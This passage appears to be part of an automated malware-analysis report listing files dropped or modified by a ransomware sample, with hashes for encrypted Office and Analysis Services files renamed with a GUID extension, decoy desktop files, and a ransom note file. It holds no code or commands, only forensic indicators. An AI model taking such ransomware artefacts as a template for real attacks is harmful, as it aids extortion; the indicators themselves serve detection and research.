SHA256: 69dc1f240839c9d6fc9bff3122252afb7cdad3775372f8d8348edfd980d9b0dc
SSDeep: 192:JvrxDivoiNY+4SzhTUBVbdqGYx3WIDSYo3OQ9QxOWS7LNbh0Kk9odGCGlyOoVM:JvrZivoiNbBhTUBVZMo3OQ94OWS75bh6 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00130_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 1.43 KB MD5: 83f03388a1d3efe70d5b166fe6c2a2a7
SHA1: 0eef8c9a26fd16d44f15746956d381104d57298c
SHA256: 48ae7a8fbb74a0a1eac4491a347faeb4863c0a5ed4da1cf2a2a3dcbab7fb7ac4
SSDeep: 24:t/nA3Hi8KeohCF3sFnRhCty/luqV2eRhClYM9Klr+NhCGQWoq6ukveL6ntdWtcbc:901VoE36ec2urUB+VveLKQtcIUG27eyw 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00152_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 1.48 KB MD5: c27fa18b7f7bc45a0790a7352a579d7a
SHA1: 9b5c3f5645ca1f67597818d01d34c2900ec3bb28
SHA256: 5c6c9aa794d7ad032fa81d0422654d9bacfd6b53dedb4ccdba095e6493b55ba0
SSDeep: 24:t/BeTxVA3Hibjh/WPuTh/NY2OerMkxCslGlpXeLzGfViRBPfsmtYIhY55QCCMjQy:1BeTn0uJWPwJOq4kEslGCn88ndtYPICd 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00194_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 3.89 KB MD5: fc6f5f7580641a3ddb5dd51eed9c3df0
SHA1: b8e6577314e094e30811c7aec1829464bfeba5b9
SHA256: eb72554fe779bbca564f45408e2f5f55891ee5b7c522f0c1ed2a0495167a44af
SSDeep: 96:ILWn4j+IEQuPr8eM/K2T5jVVSMbzhALJ6oA0lkb0:ILC6Arw/K2Vrp/Xoj64 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00195_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 7.88 KB MD5: a1e0da2296f63a64e33a63adeb27bbba
SHA1: b9eb1f026ea10a6b9bbbcdd10fcb727afa9e2a35
SHA256: dc5847e7a718c4156aa369e81e575f390ac83fee13c48ad20926eb0a71bbc04c
SSDeep: 192:ds/dAUljFaAa41ikUeJwet5MQAkWwpAjw6W5sb21Vqwj:ds/OUyAaMHUcwRQA4p4/Wl1Q+ 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00234_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 9.09 KB MD5: 01c54bad539bec7d5f5d7931a207fb2a
SHA1: fbbc6193bb4ef408203fbd5047d4f233d4dcef4a
SHA256: 67dd91154defa536b8f9f911717f25659bd0f58d760c6604082e9b513e6e3627
SSDeep: 192:b/5GtyQvXOQ8/YZkqAsYkENiiDknyXhtYB44wNZDlsK1VbsgGoALmNL1EPS1M42r:b/5Gt5vXOQ8/YZkJsY5Ni8knyXhtYB4o 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00242_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 3.93 KB MD5: d1aba12c9f5c22950ec568876d37e76f
SHA1: 4a82e4a634bfef8c8e45e35fd6cca6ae13ffe5ba
SHA256: 66b79ebf08f37ba0be9c9eaa138159b4fd7c577bf2b937c4be655cb699308284
SSDeep: 96:Femu1JUOBTYS0Ln8ax67h70pC+dtlHxS+IjwEQKEsdhSu:M7/BXUdwh70pC+zlHxS+Ijw1ASu 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00247_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 14.11 KB MD5: 73cf1e415913541ea1484f619d21f90e
SHA1: 024a9de6cab55f3e72d7e01a15439df83013af72
SHA256: 27a82c228abd25a4a23b29541dd654762c3a730e9052e0802a24f1699e187a0c
SSDeep: 384:mhCTyCuuRMm9dLQBpK/XmjB39FqMV3qEb3R9WJfrox582uKm42S+ab12eCgUjYu1:mhCTyCuuRMm9dLQBpK/X4B39FqMV3qE8 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00248_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 1.50 KB MD5: 3f84f8c84daa58c5fd714487c9682446
SHA1: fec395f951eaf33b1b39026bfc768ba6ee264edb
SHA256: 4ad09a4bedb8c637289bbd0778801a6c28a19f30b0b21eaf4315deb03c3bd1a7
SSDeep: 48:5i/K4/otLpNODHXqLpSGRZyOELk0sLkiLkVcYJLkG19Lki7K7c:5Q1orNI3iSE0Rzit6 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00265_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 5.62 KB MD5: dca843ab0bf1f9734ed30647fcbd1176
SHA1: 649d783cace815a3c6d81c6782dc982937645a2c
SHA256: 6280ef26290ce684217294b2c4b7f68c9c2cbe7b0e8030c74d96a309c3244f39
SSDeep: 96:P1pAUlgayDymByxKj4BJWm6PaBkWl1+9sdpDP2YY2ySTRRJY0/sG4yyab9mspe86:tpAugaODBy0j4fWmMaBkWl1+9sdpDP2J 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00267_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 2.58 KB MD5: 70341342d9b47fced3451f7af1d9507a
SHA1: 2844fdf30726daa6919e2a3a416b3080806272fa
SHA256: dc67622ef369f91054eead501c4e2438b3964c229b83f77990b2516131709502
SSDeep: 48:84sK4slLpALpajLp8L4OxFLkmELkKLkVvLkmcJ2FLkmvJoMLpmALpmRLprOLpALx:8LmzYaJuxKm5LVgmg2KmdmYmX61mLY5+ 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00269_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 5.15 KB MD5: 6318fa0d1fd3d497d1776ce8972fbe76
SHA1: bfededa953cef184191bf54121dc903372992d1a
SHA256: 9873297711854daeaa07d464eb42acd5965d40cf67513716a1d4f57c4de21742
SSDeep: 96:o1aq7nIcW+0VZTmK8siUprZsycyNaF7aXGxTQocY9s4FZ+7mvgV6QyEqZFsr0osh:6aqb5wTmK8siUpKPyNaF7aXGxTQocY9B 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00274_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 4.07 KB MD5: 9b1b681cbf2b6c8bfe843f9f9b669099
SHA1: b17286735defa58c1bc7afa5b89e1d9bc194fb29
SHA256: b00bae14a8ed17a27fc1d87b68f45cb66e82d8f5563da828ce7f9ee5172a0427
SSDeep: 96:u1t652kUzVp/TRZY+snP4MyNUdaolq5EUIBMpzHl0YblAclJ+IUe/6qh:otYSn/bY+NMOUwolq5EUIBMpzFZbl5JR 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00296_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 813 bytes MD5: ae091e489fcd97fffdc595ae3256b50a
SHA1: 443889b1dd883c6586c6e349a39d5b0b7e440b89
SHA256: c4b5fede3af342f3c9c07859559cc5f890ab61f671518096a89bca7821917175
SSDeep: 24:thxX+f4/+sI8u8N7LkwJWajLparTRLpGA4sPM/c:lK4/+sQ8hLkSHLpcdLpGA4sPGc 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00524_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 6.83 KB MD5: e36d66d14e52d6d687d77926ff743e3c
SHA1: 583800e2e15996c7c2b214729294869d72fd56ad
SHA256: 433cfae2f068a07a1b8cc6f4dd881fb303de2eb30a044fe2d640a3bb5434e737
SSDeep: 192:RSzqPHG1mRudJjDMz8LUP/P3D0EAbjqgco+Zzr:RS+R6lS80/L02/zr 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00525_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 9.37 KB MD5: 61d6d93d7817d30bac6760d98872886e
SHA1: cac9a9d728d1cc9cabb80a2597bb56478f198be8
SHA256: c0e54a9c533c9f8b89100f7c3664a99da3ecf9157a345f786169df2a05476eb9
SSDeep: 192:28flD07Z8QtmVln+w/kZ+K7hXzIo8Z3Gk2JMp22GoWy55cq:28907ZdIh+Ifum32JkdlD 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00526_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 26.91 KB MD5: 1b6f8728b726baa883ca6a6433ee5161
SHA1: 1ed58df8005994feab1a49b53071a59434c3e5bc
SHA256: 9dd7f559e0c574ff364a18fb7dd406717cf435c3e0f8d7b3015e834abffe0fbe
SSDeep: 768:Nak+U6PjKFTvYZ3p6LbPGornNdyMcSlF4PAxBAP:wr0vwZ6LbOob9F+AxuP 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00648_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 11.23 KB MD5: 9378b0d1eca55f908e5852f33cfdd01e
SHA1: 08625fd1838d9e099bb8c2412db821a66376e1df
SHA256: d7b899850fc73a44c55b9eaf2e35d071db7af96cb03443f7cb53bc1576c4aa38
SSDeep: 192:1r0/UAkpBpXW+eJtkWW2Pf4APR56b0rMcBhs/xAjIf/bCRArBfJqTYcIU8vh7O1Q:1rCUAkpBpXDCjWIfpPR56bGMcBhs/xA6 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00921_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 4.31 KB MD5: 10ec70741ff4363d67ef3ac041a12799
SHA1: 68b6cb36df0630758bc6728684ffbaa407a4002a
SHA256: 32242426be90fd4f0c7ce0ff3475b5dfa40bfe8c5c0b0b103e5067392e0d1260
SSDeep: 96:tM10FK/IW9m3cCRO5JiBN5WVPmMJYl63ceBM4AMcGT2hs0K5Teg/D2oLmq8swf:tGr6ct5JiLsdm0Yl63bBM4ApGT2hs0Io 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\-K80cFSCf.jpg 83.53 KB MD5: 7c664dba48308e0a12e1498dd0c44938
SHA1: 9b4bea69c761040690e18a48dbc5a809c9ce7c82
SHA256: bcd5d12f2c16bdb0f48d567ebeeb42c3016ef97f98731cf36ee5944898bf22ef
SSDeep: 1536:Mbh6nLqVHU2vBkLloSoxl9PkUqPNBidTMToPYofamCOEyxyLnT+:MbwLqVbSoN94kM8PYqamCTJrq 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\1VmZjk26.avi 84.76 KB MD5: 754dcab1a24f7850a11a7a7bd006f294
SHA1: 1a6a9a96fe3abb337cb1ed56d121f36cc0fc03ef
SHA256: 411a6781f00e38e2ed381d89e365503f400870a3e21f31aab6c998afd6bdff5b
SSDeep: 1536:SLfcQdY9m03ZoQ/hUaN9rOFIIpnAWinY0beD7YUdZgSlnEs5bmXz1/SK:SLfjdYE0iihUaNLKAWZ75dZgStBbKJ/B 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2yM2MmykL7t.swf 93.48 KB MD5: 5d6a6f8b1d789ebdec8067f7a2cf795a
SHA1: 755209e8b0f2981b17c98079fa74cdd1a5b47552
SHA256: 9f53a32c2cf2c6d01d6ccb26f645de7cff9b520b84a660e89645c504f6aa5b4c
SSDeep: 1536:aNSPfiPMw8/0On1Zt4Vy4AQdgcwmxiVRKxz1zuvnhtFSEEZ75foubqrLaQu5jqW:aNSPqUw88On1T4VeQWA0R61KvrC75foO 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\6T4y.csv 33.49 KB MD5: 4e30e0fc501e8cda3c6d30611cca6e6b
SHA1: f0d2e22797a80f96b89fb0b1e625f6e7d99e9833
SHA256: ab0963f1abc50aa413e22b6dc776ac787634bd61e5d97b47470a3e3d363bb8a7
SSDeep: 768:kmsZSzRAZvmMDaSYC5JgoztKpzMuYlK4lfI+NHyZAGF:1MSzRVMNT52ytc1Yl4+NSp 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\92w8y-aVjro.mp4 29.13 KB MD5: 64f2fb78770817496b6b7dcc14f15b14
SHA1: 04aaab7bd1f1b5b21cc6102dee81c37e8c351bde
SHA256: 97861c1a6c451188e183456c6133c4d35a4448f75c75b6ac878f8a80345eda95
SSDeep: 768:9SY1+6lT7BpiKeRabE8oq+bw28dRap1gAJBoQF:9Nw6lT7aRadoq+bw2k4Mps 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\IRXNt_F.gif 78.44 KB MD5: df07a36e7d9274eea1f2d1a979c69559
SHA1: 42acab1237eac095375eaba16fb65c918d44ee14
SHA256: 30ec9cb67d7c6584454c0c9b7e53923eb97e4aebe23c19c00f143f60bbd06cec
SSDeep: 1536:1v+jsL5kvPP2yrzI430raT4PKZyevVAILcwwju89DMELl6H25AZSY:1vp5keSzF0eT4Pvevee3wjRDhO25A0Y 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\iujqFY_RKqyorga.flv 88.56 KB MD5: d1a50a9e2757be858872d56cadae4b4b
SHA1: d5ef76d70a0457a6e62824dd952a32b45611d2e4
SHA256: c8773a54157106b30de7e1d3da1069e6943443f3b2524d968cf4a7103eee4a41
SSDeep: 1536:8BLl6BoSlQQ0zJIx/zEgFEIQzj6wTEBjnAgLzcnPj8J8bkLxkFOatu2/t4tyRQGg:8BLlYohs/zERz3EFRcPDkLxyOatuIt4b 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\M3Z9-oIHB.pps 18.10 KB MD5: 4983efc349a5592a6824df4c6a2ff7ac
SHA1: 5f362f29cf40e8915ee6d7a0b533d82d8a747cac
SHA256: 12d0991e69a039940e0567e49b5dfd61c8f28f246e32573ff6816568682ea043
SSDeep: 384:4YGF00C5odHzBT18kDW+RhvdlnMOoeOYoZTX1oI:K00newhFlzoeOYovF 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\xJLRq.swf 92.24 KB MD5: 76b6d99bf208559dadd213efe2f37d2b
SHA1: c29e26df381ad34b7dfc498b7b9843767e9b11b2
SHA256: 3d16043e551f63bcc5605dc9e5505e6b096ea2c57921de49ac4347020e0fa20d
SSDeep: 1536:WGSviczSI/dt53/Oko6oeN7xsLc70iLgq2PazC7GgLnPu3IEQeOi0y:W+0Oksw70iLgqJ8LWhQeYy 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\ZE_K1dS8xjHpmiyyaBHQ.odp 73.31 KB MD5: bd8689fd6a1e4531eb76f08cb6c2f5b3
SHA1: 400971e0e16b27d5e266916b751503f35147bcf4
SHA256: e62cee6d2d7452b8118f1d43c903111ef452f405314e94a207c36bf8238ad572
SSDeep: 1536:jsCCe5VM+e75JIqYyF8C74GQDkQdAGpWYjzYs7H7IQuvPm:7Ce5V87TIqYyuCsGHgA0Jj7H7Z2m 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\noUnaAH9k.flv 15.53 KB MD5: 0c7039ab78198b03c218f96da3a4b83f
SHA1: fd6f7905adb10210e80b91c901a144ddd92f72da
SHA256: 95bf3018f5f7e5c503eccaff3c35190f72c6af609c2077e11526a6ac3cbb5244
SSDeep: 384:ztU6P71iAVq6h4RMQjaBQQS4z9Pm9MyS6Hsjaiuzp5neeMdLtjTX1oI:zmi7dAv8BQEzSMl6HCe5edF 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\rMegkA86B_mfsKq.wav 88.41 KB MD5: a6740bd2a9240f4e5cb35b393ebc8bce
SHA1: b262c708f4099d49aa159eb48c1d59edc1d9d38b
SHA256: 689127ba1900678d01e87e0f1182b9b73bc2ca079cb172387851d8814d528fca
SSDeep: 1536:ZK6td7opz4tBHax33J4vT8/Q9MpZqbhMHrhQUHLUb1BQotso1m17FqXFnyqD/wH0:oUcpz4thMe77tFMHrZrUZB5PXFndsU 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\sH0n34eiZ5Sn1uR3\pZmvw.ods 85.30 KB MD5: 9b9e2709eb19c05a200d085e3ec33a8b
SHA1: 5e3862e868531d0da809258a5c9391af11cd6c6b
SHA256: 219ae4d7f148977133b6b618fe7fa419570d1aa33b11f134735a68d6409047c4
SSDeep: 1536:jfwPXNgT3qCei9bWesGaAZ24+xBh1jHF3Okz0iWkhAhQlAJUiHOv:jfKdyZ9bWGavBh1bF3uoAhQWCdv 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\sH0n34eiZ5Sn1uR3\VojBs.docx 55.33 KB MD5: 9ceacceffc5e49f9d68800fc69c43f3d
SHA1: c061149096169754742d21ace8897d5170e0fc2b
SHA256: 1ce1efb8b1ef5399fd3714a96c96e73f49018d7cfa380a639c06cd7c0efdb297
SSDeep: 1536:MhDnFTruWT1VSqoo0kPZW8AaAWrQDn5BxmA:8jFTaoPoo0kBfXQz5Bd 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\sH0n34eiZ5Sn1uR3\YeIhI573Uc31sI.png 95.20 KB MD5: d69f73f9f0ebca930caa784036d50fc7
SHA1: f6b746a2d03ecca7f80a3877d12a929a3db105b1
SHA256: 0f4f1b6fe147f4a9530abb08e144acdd429c09627d36d3c21d20a64615343c3c
SSDeep: 1536:clK8W/H0pteW5HnsJVnyLGZ24pKVed3JgGNxBxFA1vCNtS9ZF1LlpJk7eEJ:+Kstj5g9O4pqGZC1vCNtSbLPJqpJ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\sH0n34eiZ5Sn1uR3\C0Ot6PxWef1Er I\zhVAN.bmp 63.61 KB MD5: c95c2f73095307a914cef3dc854457f1
SHA1: ba4450c72d2ed308cad22318f3723b178de12b51
SHA256: de7d9adb22f0555679e2d1a9ea0cd232188d77778de7394bcb248aa30da53aa6
SSDeep: 1536:Da62vf5dMcEwlc+2JHuvEwUUu/V5gR00I27GVfUMnA7:e62zxQ+gHuvtagtI27GVfUye 		False
...
C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\as80.xsl.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 18.31 KB MD5: c0e641f367c8578a771fa0cb6de52e84
SHA1: ac804d29721e880d571da1091e0a4801fc14e984
SHA256: 5d55c311372b05f7c754988986606b3ca46b9b1eedc57f12cc8e13c72dea5994
SSDeep: 384:axh5ZPxaPnu3GIyLgNe0KUmJx1aoiwU6Hke8JuFqGTX1oI:az5Zpa/C0DVJuV2ke8oFqmF 		False
...
C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\as90.xsl.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 19.77 KB MD5: eb2e73d3f46dc7e9705e992944c832a5
SHA1: fcdd9cd659610510f550f35efee51524e3af5511
SHA256: af7cf629f3910f8fbf29da6179a53412160786f3ffccf08ba1c8e8d3312e9eba
SSDeep: 384:a9SUXNQpBddGsiSnAjnkZVG4YDPGqmEB9gjQD3Th8BuxHwoZNBLtETX1oI:NUAdUSpwjrmEBWYDaExFZnLeF 		False
...
C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\msjet.xsl.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 29.77 KB MD5: d29fcb1be42084148a6c1dde973f8c98
SHA1: 4ff979a62e5dd5217381302797dadfdb6b47e04a
SHA256: 3dab7694f0615f683e77da9131111f3298f88245b4c96254fb3e76db3ff58818
SSDeep: 768:gzele7KkERG7B1ptLEC7FDEzjsh84GPWwlNvvzeG+yF:gAe7tB1PN8jS81HH 		False
...
C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\sql2000.xsl.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 34.74 KB MD5: fb0c736e5b5b263619cc12935ef5b3df
SHA1: bfc101b5e57cce26a8e90c7a8e6fc95bb5c923df
SHA256: d268b999c263e3192276e93056169f44f9cd70b48d1f969f71513c789277955d
SSDeep: 768:SNeKa1QKTKBaAYIJJS6ssjwdjOLmpkdmWy24JUF:ODeQKTKBkIWbdgmpk4WV 		False
...
C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Resources\1033\msmdsrv.rll.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 652.34 KB MD5: 3df3644dc3fdbeab74708443317b31b9
SHA1: 380255e052d50625c95492039905270e36dc6616
SHA256: 88d08546b0f641feec068cf3385e58def618c9c1483e0cbaf90a9f9d279b4873
SSDeep: 6144:vjwVG5g4GLrhwG4Jmi3fMCBJCD610fN4bULB:vjwVG5g4GLrhwG4Jmi3fMCBJCh1/LB 		False
...
C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Resources\1033\msolui100.rll.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 15.99 KB MD5: d3a1b8facf2ce4d029432c87fd49995c
SHA1: bb8e68184afbf29d939bc8a1e12a29e4e569ba88
SHA256: a1d0b0fe29ea06845f0d997fe68a2f242cbbeb64334cdf2274f1c52c759f3d7d
SSDeep: 384:R23iUngJ60sFSRKsjxVuTrYND+uKQzNpHE9BqomW9z9/TX1oI:RWgJvsFnsjqTrcDJKQzNpkeW9pBF 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\!!! YOUR FILES ARE ENCRYPTED !!!.TXT 963 bytes MD5: 2cc0101a51ab425558db32898ce6265f
SHA1: f33ce54070ec2134aa3c2d18dbe8b8c702149f7d
SHA256: 431a40c85af6a971f0362b3e9acfec4072700c7921f5340f438b78a3dfe374f3
SSDeep: 24:mu8y18ZVJ+WFmfiOqlXhDdNT8FPrOyF3Ln9i3:mC18zJS1ONvTuLn96 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00011_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 8.52 KB MD5: 3d462795e981e7ea4430ad0b596865c6
SHA1: e8902783113786af1b50c5cfcb7b9d2a138aea3c
SHA256: 0c30dd8cde8c2d62d8679e2034988aed502327f0742c9dab845d3002468676eb
SSDeep: 192:AT11tv3rfj8ttalgIZiTKSnG2j4LzZ+tUIkXMdIy5Gi3lJX1o/A:ktv7b8t4Xi16zZVlgxTX1oI 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00040_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 9.38 KB MD5: 667787210c5e2cc0730a4390ce3f6086
SHA1: b07cd2e23df268f8e7bb98b7341a1a1147e21484
SHA256: 77e2f72a68a84038ca37e0d87e5d03e312c4fe3c6e5692c74f179785d8e0d38f
SSDeep: 192:QHtIyuNHqPlYMycbHJ3kjhO0LrkLtQua7zptVhs48GoOvnAZvx1oV4+sJlJX1o/A:byuNklzHJ3sOokLt87jWGoXvx1oVRsJX 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00057_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 13.08 KB MD5: f031432105955b03043b2ef87e86d7aa
SHA1: 10174250107ba97995290a24c48cbd1a988eb611
SHA256: 02719fb7d82f833e00ed12ac5432ab9ce2987c029bc74abe9506902c51aa03ed
SSDeep: 192:vDPTRVPVNU1MDz3HSyJ4K2q3ICS+mW8op/zrKCFyIaOhEg191nkkNV5OlJX1o/A:DTU1MDz3FJaq3IAp7rKYyIaGbuTX1oI 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00092_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 1.96 KB MD5: d42099b633773c59353364f53a157b77
SHA1: f800a191e76c6e22f7cd045246b1e4062815a39e
SHA256: 718255f24739bdb00b4e3f71375a8c7c8a978221d39913692e080bf320a5fd6b
SSDeep: 48:wwgvUFIWO40GQ/+FvE7V9bhE8Y1YvqNIhRe:bQUFIovHFeEX1Yv6aRe 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00126_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 4.53 KB MD5: 464f431e89a5e2a3547f6bcc14b0b63c
SHA1: be55755a633f4ffaeb1adba615cdc55c2dd6dc91
SHA256: 2e64137d03e1a77ecfa7a74f6f0b32b4b4ea822fd8560fa24a739189ac3b1186
SSDeep: 96:4fuRid5htQsjAFEgRfvj3lr3ZOpvHFeEX1Yv6aRe:8hSLeg7+lJX1o/A 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00129_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 13.66 KB MD5: 562430cec9f25e7dd84533c352012870
SHA1: 52add21dbac3931bbea02b46d9a0a8fbaa61e47c
SHA256: 18899ff6f667ce3540cabf81de5357a8d58680e1796210ef47dc3b039031db36
SSDeep: 192:xoFVg08/hvdwJMLCCNY2D9Gm9YiWB4a2R1Qy+636E9nJGJYoLp282lJX1o/A:xo3CvpCQ7JD9Ykapp6KAFoLpmTX1oI 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00135_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 4.00 KB MD5: 5cbd73355815014d5ab9e54dfb37612b
SHA1: 6fad10dc31bea6d2794b633e12f65dfc7959caab
SHA256: 9b33cd144f9f96eaeeaff9c41418a2e21d0afb4f19df9f7e2b2e2d02bc0803cc
SSDeep: 96:IMUfOJybemR/T4nyw9TNCkZziHw7/fxvHFeEX1Yv6aRe:IMUFb/TAy0eHS/xlJX1o/A 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00139_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 11.83 KB MD5: 3788a8d7b27aba6e1b4661bcbe9fa24c
SHA1: 421b18375fdf8111024b06fe4010bded46ca77ed
SHA256: c5ebfdbc8a8a0f70d0c39be9e470752181e06f9da920b37031b206ec1ad2d2d5
SSDeep: 192:iEr4eVrc9Ip2RyD1Eh7t0ZPA4DSpks3mk1xDjUeC+jfmXwClJX1o/A:Hrj1D1sR0ZPAgjsWwX+TX1oI 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00142_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 16.41 KB MD5: 25098cbc26fc066203cba049888c8189
SHA1: d0ac05e68f90da89b5f8cf61321e34bcaeb47100
SHA256: f17154ec970797457b38616088aea214a031f08f5c6040fd4905574d150ddaee
SSDeep: 384:M37nRc8HDDV17FWXNqs+gFun4mWw88tNWD88BTX1oI:2RrDvgy4UEnF 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00157_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 6.30 KB MD5: e4785a808fe40fa6ca3f58789e7bc28a
SHA1: 3cfcc0cead3fca73ef38ff6cfb92d13da3599720
SHA256: 59673c4971b76926de54631208a8d33237acddd13ad2a9c13b34cc49f58a7bf5
SSDeep: 192:GQFA47eaaD7cdiTvRy1xzAc4bTlJX1o/A:GQv79W7+wvQxKTX1oI 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00158_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 6.38 KB MD5: 4ae6f2081ab09c8eddc01db472d00e89
SHA1: 76b40d6f1bc2a4ecb9c14e6846b9db8221a4442d
SHA256: db5a66a57920ef561d3f2dfe425caf7118facf31c5866df0e7b284714ad90754
SSDeep: 192:YTnoSS+AaxlFPy6M2Vu7ckL7Sc8e9xiBEX/plJX1o/A:31aFy3L7Sc8OxwATX1oI 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00161_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 8.88 KB MD5: 570201dd6e890458a11e673d00235d05
SHA1: 168455aed464c3d73f332168fc428e0bac468df2
SHA256: e8464d85ded403c463f7fef78172b1de6a937a8c706f5e55ffdfabf69e75087e
SSDeep: 192:dXydx5YtQvy8E4AMKaMflhbiXAJptbwLykGS17d124lJX1o/A:dCd7dE/K2l4wNUGSB/5TX1oI 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00165_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 9.85 KB MD5: 4fb1b65ba86b2689f6122fd8d0f9cfab
SHA1: 9f8be4ba9ab6c543af7e7ae207405ced3c54de52
SHA256: a2b1cc5c6551ba960083c64005f1d31e1e687c6d6ac522f921d2f793ff2c4e07
SSDeep: 192:w9NfJZhbyCtfObp0CtM+Pa5+6gBWuXbA2wPlQnHlJX1o/A:wzh/yW+yzgBWuXbA2wPlQTX1oI 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00169_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 6.72 KB MD5: 1ec0712b77df37a93ab30a44c96a2d71
SHA1: 1e936f7d53539f1673e386c7fc6a1e68567f47d2
SHA256: b0c1a0fc4ab6f60f272fb0d80e14109f24db3afce2fe7a77bbe9e2ad19afd305
SSDeep: 192:PYXKRGYa25Ce7a5EwRCc2W3FzP3GlJX1o/A:AlGCyDc2W1zvGTX1oI 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00171_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 6.36 KB MD5: 3a21c3afe7034c56840218412a38a4db
